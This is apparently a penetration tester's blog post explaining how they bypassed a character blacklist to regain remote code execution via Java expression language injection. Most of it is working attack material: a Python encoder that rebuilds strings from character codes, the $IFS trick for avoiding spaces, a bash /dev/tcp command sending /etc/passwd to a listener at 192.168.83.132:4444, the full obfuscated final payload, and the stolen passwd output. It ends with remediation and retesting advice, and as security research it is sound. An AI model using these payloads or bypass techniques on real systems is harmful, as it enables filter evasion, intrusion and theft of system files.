Expression Language Injection RCE - No Strings Attached

Mar 3 2020

This article explains a technique we discovered for bypassing a web application firewall or blacklist to trigger an expression language injection and get remote code execution, without being able to pass certain strings.

Background

During a recent engagement we found an easy expression language (EL) injection that let us get to remote code execution. We notified the client, they fixed it up and asked us to retest. The fix they put in place was a blacklist of characters that included single quotes, double quotes and various escaping techniques. We found a way to bypass it and get back to RCE, which we’ll go into below.

Just a word of warning. This is only one way to get this done. It’s not the only way, and may not even be the best way. But it’s a way that worked.

If you want to know how the vulnerability was eventually closed, the client hunted down where the user input was executed as EL and removed the expression language sink. The best method to avoid EL injection bugs is to not include user input anywhere it can be evaluated as an expression.

This article isn’t the place to expound on basic EL injection techniques, but there are some useful links at the end. Burp Active Scanner is your friend for finding low hanging fruit, otherwise ${{ request }} all the things.

Hack Global, Test Local

After the client gave us the go ahead to start retesting the first thing we did was try the EL that worked previously. What we were doing before wasn’t working. The originally payload was:

${'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}

We discovered the EL injection was still there, Inject ABC ${1 + 1} and ABC 2 came back. Inject ABC ${'a'.toString().toUpperCase()} and nothing came back… but ABC ${true.toString().toUpperCase()} came back with ABC TRUE.

From that we figured a WAF/Blacklist was put in place to strip out single quotes, double quotes and various escaping techniques. We couldn’t see what was occurring within the server itself, so we set up a local test environment to try ideas.

For speed of deployment, rather than set up a full server environment, we just used some simple Java with Java Unified Expression Language to simulate an EL injection. Here is the code we used:

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import Javax.el.*;
public class Main {
    public static void main(String[] args) {
        ExpressionFactory factory = new ExpressionFactoryImpl();
        SimpleContext context = new SimpleContext();
        String pl = "ABC ${true.toString().toUpperCase()}";
        ValueExpression e = factory.createValueExpression(context, pl, String.class);
        System.out.println(e.getValue(context));
    }
}

With our test environment set up, we tried a bunch of stuff to see what we could learn…

Several undisclosed units of time later

After trying a tonne of what turned out to be silly ideas, the question came up: “Can we use EL to build the string that we need to pass”?

We started with a payload that looked something like this:

ABC ${true.toString().charAt(0).toChars(67)[0].toString()}

true.toString() is just a place to kick things off and return a string, .charAt() is a method that returns the character from the specified index and toChars()[] converts the supplied character code point to a character representation and stores it in a char array. The final toString() converts it to a string. Simple. Right? Right.

When we fired this one off in our test environment we got ABC C back. What if we try more with some concatenation?

ABC ${true.toString().charAt(0).toChars(67)[0].toString().concat(true.toString().charAt(0).toChars(66)[0].toString()).concat(true.toString().charAt(0).toChars(65)[0].toString())}

You’ll notice toChars() with the corresponding ascii codes 65, 64, 63 for C, B and A concatenated together. What we got back was: ABC CBA.

Very interesting.

Auto-maton-amation time

With something like this, no one is going to sit there and manually determine the true.toString().charAt(0).toChars()[0].toString() for anything longer than three characters. Really, why would you when there is this handy little python3 script we put together to do it. We called it Gen-Payload.py:

payload = "PUT PAYLOAD STRING HERE"
print ("true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0]), end='')

for i in range(1, len(payload)):
        print (".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i]), end='')
print ("")

runtime.exec had other ideas

Time to come up with a code execution through EL that we could test to see if our idea was going to pan out. Tossing around a few different code exec ideas for EL, we ended up with this one as a test:

bash -c "cat /etc/passwd >& /dev/tcp/192.168.83.132/4444 0>&1"

In straight EL it could look like this:

ABC ${true.getClass().forName(\"Java.lang.Runtime\").getMethods()[6].invoke(true.getClass().forName(\"Java.lang.Runtime\")).exec(\’bash -c \“cat /etc/passwd >& /dev/tcp/192.168.83.132/4444 0>&1\” \’ )}";

The good thing about our test code is that it allowed us to use strings, we could test a payload to make sure it works before we do the magic EL string building trickery.

But of course, the first try didn’t work…

And this is going to take us off onto a bit of a teeny tangent…

When we run this command from the command line it works. Using strace we can see that execve is being passed three arguments, the command name bash the -c flag for what to execute and then the rest of the command as can be seen below:

> strace -o log -f bash -c "cat /etc/passwd >& /dev/tcp/192.168.83.132/4444 0>&1"
> grep exec log

40431 execve("/bin/bash", ["bash", "-c", "cat /etc/passwd >& /dev/tcp/192."...], 0x7fff2e0ad248 /* 23 vars */) = 0
40432 execve("/bin/cat", ["cat", "/etc/passwd"], 0x55c087c78180 /* 23 vars */) = 0

With the EL/Java execution we get something completely different:

> strace -o log -f Java  -cp "./*" Main.Java
> grep exec log

40459 execve("/bin/bash", ["bash", "-c", "\"cat", "/etc/passwd", ">&", "/dev/tcp/192.168.83.132/4444", "0>&1\""], 0x7ffcad61de10 /* 23 vars */ <unfinished ...>

When Java calls execve it’s taking everything separated by a space and is interpreting it as separate arguments (including the escaped quote before cat oddly enough). So that’s not going to work. Have to get around that somehow…

Where we ended up was to replace the 0x20’s with $IFS, a bash built-in variable for the internal field separator:

bash -c cat$IFS/etc/passwd$IFS>&$IFS/dev/tcp/192.168.83.132/4444$IFS0>&1

When run with strace we can see execve called as follows:

40555 execve("/bin/bash", ["bash", "-c", "cat$IFS/etc/passwd$IFS>&$IFS/dev"...], 0x7ffc0cd9cf50 /* 23 vars */ <unfinished ...>
40555 <... execve resumed> )            = 0
40556 execve("/bin/cat", ["cat", "/etc/passwd"], 0x560649867190 /* 23 vars */) = 0

And the code runs as expected. This technique is also useful for bypassing other injection sinks that end up in bash but don’t allow spaces (command injection, basically…)

Let The Charsploitation() begin

With the execve weirdness out of the way, back to the issue at hand. With this test injection we tried:

ABC ${true.getClass().forName(\"Java.lang.Runtime\").getMethods()[6].invoke(true.getClass().forName(\"Java.lang.Runtime\")).exec(\'bash -c cat$IFS/etc/passwd$IFS>&$IFS/dev/tcp/192.168.83.132/4444$IFS0>&1\')}

This has two strings in three locations we’ll need to encode using our true.toString().charAt(0).toChars()[0].toString() technique.

Using the Gen-Payload.py script we convert the strings…

Java.lang.Runtime becomes:

true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())

bash -c cat$IFS/etc/passwd$IFS>&$IFS/dev/tcp/192.168.83.132/4444$IFS0>&1 becomes:

true.toString().charAt(0).toChars(98)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(36)[0].toString()).concat(true.toString().charAt(0).toChars(73)[0].toString()).concat(true.toString().charAt(0).toChars(70)[0].toString()).concat(true.toString().charAt(0).toChars(83)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(119)[0].toString()).concat(true.toString().charAt(0).toChars(100)[0].toString()).concat(true.toString().charAt(0).toChars(36)[0].toString()).concat(true.toString().charAt(0).toChars(73)[0].toString()).concat(true.toString().charAt(0).toChars(70)[0].toString()).concat(true.toString().charAt(0).toChars(83)[0].toString()).concat(true.toString().charAt(0).toChars(62)[0].toString()).concat(true.toString().charAt(0).toChars(38)[0].toString()).concat(true.toString().charAt(0).toChars(36)[0].toString()).concat(true.toString().charAt(0).toChars(73)[0].toString()).concat(true.toString().charAt(0).toChars(70)[0].toString()).concat(true.toString().charAt(0).toChars(83)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(100)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(57)[0].toString()).concat(true.toString().charAt(0).toChars(50)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(54)[0].toString()).concat(true.toString().charAt(0).toChars(56)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(56)[0].toString()).concat(true.toString().charAt(0).toChars(51)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(51)[0].toString()).concat(true.toString().charAt(0).toChars(50)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(52)[0].toString()).concat(true.toString().charAt(0).toChars(52)[0].toString()).concat(true.toString().charAt(0).toChars(52)[0].toString()).concat(true.toString().charAt(0).toChars(52)[0].toString()).concat(true.toString().charAt(0).toChars(36)[0].toString()).concat(true.toString().charAt(0).toChars(73)[0].toString()).concat(true.toString().charAt(0).toChars(70)[0].toString()).concat(true.toString().charAt(0).toChars(83)[0].toString()).concat(true.toString().charAt(0).toChars(48)[0].toString()).concat(true.toString().charAt(0).toChars(62)[0].toString()).concat(true.toString().charAt(0).toChars(38)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString())

The final payload we end up with is:

"ABC ${true.getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethods()[6].invoke(true.getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()))).exec(true.toString().charAt(0).toChars(98)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(36)[0].toString()).concat(true.toString().charAt(0).toChars(73)[0].toString()).concat(true.toString().charAt(0).toChars(70)[0].toString()).concat(true.toString().charAt(0).toChars(83)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(119)[0].toString()).concat(true.toString().charAt(0).toChars(100)[0].toString()).concat(true.toString().charAt(0).toChars(36)[0].toString()).concat(true.toString().charAt(0).toChars(73)[0].toString()).concat(true.toString().charAt(0).toChars(70)[0].toString()).concat(true.toString().charAt(0).toChars(83)[0].toString()).concat(true.toString().charAt(0).toChars(62)[0].toString()).concat(true.toString().charAt(0).toChars(38)[0].toString()).concat(true.toString().charAt(0).toChars(36)[0].toString()).concat(true.toString().charAt(0).toChars(73)[0].toString()).concat(true.toString().charAt(0).toChars(70)[0].toString()).concat(true.toString().charAt(0).toChars(83)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(100)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(57)[0].toString()).concat(true.toString().charAt(0).toChars(50)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(54)[0].toString()).concat(true.toString().charAt(0).toChars(56)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(56)[0].toString()).concat(true.toString().charAt(0).toChars(51)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(51)[0].toString()).concat(true.toString().charAt(0).toChars(50)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(52)[0].toString()).concat(true.toString().charAt(0).toChars(52)[0].toString()).concat(true.toString().charAt(0).toChars(52)[0].toString()).concat(true.toString().charAt(0).toChars(52)[0].toString()).concat(true.toString().charAt(0).toChars(36)[0].toString()).concat(true.toString().charAt(0).toChars(73)[0].toString()).concat(true.toString().charAt(0).toChars(70)[0].toString()).concat(true.toString().charAt(0).toChars(83)[0].toString()).concat(true.toString().charAt(0).toChars(48)[0].toString()).concat(true.toString().charAt(0).toChars(62)[0].toString()).concat(true.toString().charAt(0).toChars(38)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()))}";

Set up a listener (nc -lvp 4444), fire the EL injection (and pray a little), and the password file comes in via special delivery.

Listening on [0.0.0.0] (family 0, port 4444)

Connection from ubuntu 40106 received!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
---- omitted for brevity ----
geoclue:x:119:124::/var/lib/geoclue:/usr/sbin/nologin
gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
lucky0x0d:x:1000:1000:Lucky0x0d,,,:/home/lucky0x0d:/bin/bash

Mitigating Circumstances

One of the big takeaways from this experience is: well yeah, of course, it’s an interesting technique to bypass a WAF or blacklist to get RCE from EL injection, but it also puts a bit of a focus on retesting.

Testing is important, and retesting is just as important. In some cases retesting is more intense and more involved than the initial vulnerability discovery. What happens is you know the bug is there. You know it’s been mitigated. But going in black-box you have no idea how the mitigation was done. You want to get at the vuln, to see if it will still be exploitable, but first you have to determine how the mitigation has been done and how (if) you can get around it. Often taking more time than the initial exploitation.

This is one of the reasons we usually ask for source-code as a reference. Instead of banging our collective heads against a vulnerability, we can read the code and confirm the mitigation (and any potential bypasses!).

Further Reading

As promised here are some good links to the basics of EL injection: